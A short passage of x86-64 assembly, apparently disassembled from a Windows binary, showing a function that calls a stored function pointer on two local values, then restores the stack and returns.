mov rdx, qword [0x1400101b0]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rdx, qword [0x1400101b0]
mov rax, qword [rbp - 8]
mov rcx, rax
call rdx
nop
add rsp, 0x128
pop rdi
pop rbp
ret